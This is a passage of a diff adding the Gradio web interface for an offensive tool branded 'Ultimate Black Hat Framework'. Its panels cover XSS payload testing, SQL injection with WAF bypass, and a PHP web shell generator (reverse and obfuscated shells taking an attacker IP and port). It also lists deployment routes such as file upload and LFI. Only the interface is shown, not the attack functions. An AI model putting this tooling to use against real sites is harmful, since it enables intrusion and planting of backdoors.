+                                lines=1
+                            )
+                            test_param = gr.Textbox(
+                                label="📌 Parameter Name",
+                                placeholder="q",
+                                value="q"
+                            )
+                            test_payload = gr.Textbox(
+                                label="💉 Payload to Test",
+                                placeholder="<script>alert(1)</script>",
+                                lines=3
+                            )
+                            test_method = gr.Radio(
+                                choices=["GET", "POST"],
+                                value="GET",
+                                label="HTTP Method"
+                            )
+                            test_btn = gr.Button("🚀 TEST PAYLOAD", variant="primary", size="lg")
+
+                        with gr.Column(scale=1):
+                            gr.Markdown("""
+                            ## 🧪 Testing Guide
+                            
+                            **What it checks:**
+                            - Payload reflection
+                            - Script tag presence
+                            - Event handler injection
+                            - HTML parsing
+                            
+                            **Best Practices:**
+                            1. Start with simple payloads
+                            2. Escalate complexity
+                            3. Test multiple encodings
+                            4. Check response headers
+                            
+                            **Legal Note:**
+                            Test only authorized systems!
+                            """)
+
+                    xss_test_output = gr.Markdown(label="Test Results")
+                    test_btn.click(panel2_xss_test, inputs=[test_url, test_param, test_payload, test_method], outputs=xss_test_output)
+
+                # Payload Library Tab
+                with gr.Tab("📚 Payload Library"):
+                    list_btn = gr.Button("📋 LIST ALL PAYLOADS", variant="secondary", size="lg")
+                    xss_lib_output = gr.Markdown(label="Payload Library")
+                    list_btn.click(panel2_xss_list_all, inputs=[], outputs=xss_lib_output)
+
+        # ═══════════════════════════════════════════════════════════════════
+        # PANEL 3: SQL INJECTION
+        # ═══════════════════════════════════════════════════════════════════
+        with gr.Tab("💉 Panel 3: SQL Injection", id="panel3"):
+            gr.Markdown("### Advanced SQL Injection Testing")
+
+            with gr.Row():
+                with gr.Column(scale=2):
+                    sql_target = gr.Textbox(
+                        label="🎯 Target URL",
+                        placeholder="http://target.com/login.php"
+                    )
+                    sql_param = gr.Textbox(
+                        label="📌 Parameter",
+                        placeholder="username",
+                        value="id"
+                    )
+                    sql_method = gr.Radio(
+                        choices=["GET", "POST"],
+                        value="GET",
+                        label="Method"
+                    )
+                    sql_btn = gr.Button("💉 TEST SQL INJECTION", variant="primary", size="lg")
+
+                with gr.Column(scale=1):
+                    gr.Markdown("""
+                    **Techniques:**
+                    - Union-based
+                    - Time-based blind
+                    - Boolean-based blind
+                    - Error-based
+                    
+                    **WAF Bypass:**
+                    - Comment variations
+                    - Case obfuscation
+                    """)
+
+            sql_output = gr.Markdown(label="SQL Test Results")
+            sql_btn.click(panel3_sql_test, inputs=[sql_target, sql_param, sql_method], outputs=sql_output)
+
+        # ═══════════════════════════════════════════════════════════════════
+        # PANEL 4: WEB SHELL
+        # ═══════════════════════════════════════════════════════════════════
+        with gr.Tab("💣 Panel 4: Web Shell Generator", id="panel4"):
+            gr.Markdown("### Advanced Web Shell Generation")
+
+            with gr.Row():
+                with gr.Column(scale=2):
+                    shell_type = gr.Dropdown(
+                        choices=[
+                            "php_simple",
+                            "php_advanced",
+                            "php_reverse",
+                            "php_obfuscated"
+                        ],
+                        value="php_advanced",
+                        label="Shell Type"
+                    )
+                    shell_ip = gr.Textbox(
+                        label="Attacker IP (for reverse shell)",
+                        placeholder="192.168.1.100"
+                    )
+                    shell_port = gr.Number(
+                        label="Port",
+                        value=4444
+                    )
+                    shell_btn = gr.Button("💣 GENERATE SHELL", variant="primary", size="lg")
+
+                with gr.Column(scale=1):
+                    gr.Markdown("""
+                    **Shell Types:**
+                    - PHP Simple
+                    - PHP Advanced (with UI)
+                    - PHP Reverse Shell
+                    - PHP Obfuscated
+                    
+                    **Deployment:**
+                    - File upload
+                    - LFI exploitation
+                    - ZIP slip
+                    """)
+
+            shell_output = gr.Markdown(label="Generated Shell")
+            shell_btn.click(panel4_generate_shell, inputs=[shell_type, shell_ip, shell_port], outputs=shell_output)
+
+    # Footer
+    gr.Markdown("""
+    ---
+    <div style="text-align: center; color: #666;">
+    <strong>Ultimate Black Hat Framework v5.0 - XSS Master Edition</strong><br>
+    For Authorized Security Testing Only | Classification: CONFIDENTIAL
+    </div>
+    """)
+
+if __name__ == "__main__":
+    print("\n" + "="*60)
+    print("🔥 ULTIMATE BLACK HAT FRAMEWORK v5.0 - XSS MASTER EDITION")
+    print("="*60)
+    print("\n✅ All panels loaded successfully!")
+    print("\n📡 Starting web interface...")
+    print("🌐 Access at: http://localhost:7860")
+    print("\n" + "="*60 + "\n")
+    
+    app.launch(
+        share=False,
+        server_name="0.0.0.0",
+        server_port=7860,
+        show_error=True
+    )